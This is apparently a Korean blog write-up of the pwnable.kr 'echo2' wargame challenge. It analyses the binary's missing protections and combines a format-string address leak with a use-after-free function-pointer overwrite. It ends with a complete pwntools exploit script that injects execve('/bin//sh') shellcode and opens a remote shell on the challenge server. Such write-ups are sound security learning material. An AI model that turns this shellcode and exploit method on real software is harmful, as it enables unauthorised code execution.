Pwnstar

Pwnable.kr echo2 본문

Pwnable.kr/Rookiss

Pwnable.kr echo2

포너블처돌이 2020. 7. 28. 17:33

 

echo2 문제이다

 

mitigation

1번과 마찬가지로 보호기법이 하나도 걸려있지 않다.echo1과는 다르게 1번 bof메뉴를 지원하지 않고 2번 fsb와 3번 uaf 메뉴만 작동한다.

 

partial relro만 걸려있다. bof도 가능할지도 모르고, nx가 없으니 쉘코드도 올릴수 있을 거고, 2번과 3번 메뉴 이름처럼 fsb와 uaf 둘 다 사용하는 문제일 것이다.

 

 

bof는 안될것 같지만 쉘코드를 올릴 공간은 충분해보인다.

 

이름에 "A"*4를, 2번 fsb에 "B"*4 + "%x %x %x %x %x" 이렇게 입력을 주고

echo2 메뉴의 printf 직전에 bp를 걸고 실행해서 스택 구조를 살펴보았다.

 

 

0x41414141이 들어있는 부분이 이름을 입력하는 부분(쉘코드가 들어갈 곳) BBBB부터 echo2메뉴에서 BBBB %x %x %x %x 등을 입려한 부분인데, 빨간줄 쳐진 곳을 fsb를 이용하여 출력하고, 이 값 - 0x20을 하면 쉘코드 주소가 나올듯 하다.

 

 

*테스트 : 빨간 밑줄 쳐진 부분이 그대로 출력되었다.

이제 uaf 부분을 살펴봐야하는데 그러려면 우선 free하는 부분을 찾아야할 것 같다.

 

 

프로그램을 종료하겠습니까? 라는 문구 이전에 cleanup이라는 함수가 있다.

 

 

o를 free해주는 함수이다. 이 o를 다시 쓸 수 있는지를 살펴봐야겠다.

일단은

 

 

이 o 안에 아까 이름으로 입력을 주었던 AAAA가 들어있는데 이 부분을 cleanup함수로 free해주고 이 부분을 3번 메뉴에서 재할당해줄 것 같은 느낌이다.

 

__int64 echo3()
{
  char *s; // ST08_8

  (*((void (__fastcall **)(void *))o + 3))(o);
  s = (char *)malloc(0x20uLL);
  get_input(s, 32LL);
  puts(s);
  free(s);
  (*((void (__fastcall **)(void *))o + 4))(o);
  return 0LL;
}

 

확인해보려고 3번을 누르고 CCCC를 입력으로 준 다음 다시 o를 확인해봤다.

 

 

예상대로 AAAA가 있던 자리에 CCCC가 들어왔고, +24 위치에는

greetings 함수가,

+32 위치에는 byebye함수가 있다.

이 함수들은

 

 

2번과 3번 메뉴를 실행할 때 항상 포함되는 함수이고, uaf를 이용해 이 함수를 다른 함수 주소로 덮을 수 있는지를 살펴봤다.

3번 uaf 메뉴를 보면

 

 

32만큼의 입력을 줄 수 있기 때문에 greeting함수를 덮을 수 있을 것 같다.

 

테스트

 

greetings 함수가 CCCC로 덮어졌다.

이후 2번 메뉴를 실행시키니

 

 

이제 이론상 시나리오는 완벽한 것 같고, 코드를 짜 봤다.

 

ex.py

from pwn import*

#p = process("./echo2")
p = remote("pwnable.kr", 9011)

shell = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

p.recvuntil("hey, what's your name? : ")
p.sendline(shell)

p.recvuntil("> ")
p.sendline("2")

payload1 = "BBBB %10$lx"
p.sendline(payload1)

p.recvuntil("BBBB ")
shell_addr = "0x" + p.recv(12)
shell_addr = int(shell_addr, 16) - 0x20

log.info("shellcode address = " + hex(shell_addr))

#free
p.recvuntil("> ")
p.sendline("4")
p.recvuntil("Are you sure you want to exit? (y/n)")
p.sendline("n")

#realloc
p.recvuntil("> ")
p.sendline("3")

payload2 = "B"*24
payload2 += p64(shell_addr)
p.sendline(payload2)

p.recvuntil("> ")
p.sendline("2")

p.interactive()

 

이렇게 해서 돌리면

 

 

'Pwnable.kr > Rookiss' 카테고리의 다른 글

Pwnable.kr alloca  (0) 2020.07.29
Pwnable.kr rsa_calculator  (0) 2020.07.29
Pwnable.kr echo1  (0) 2020.07.28
Pwnable.kr fix  (0) 2020.07.28
Pwnable.kr otp  (0) 2020.07.28
Comments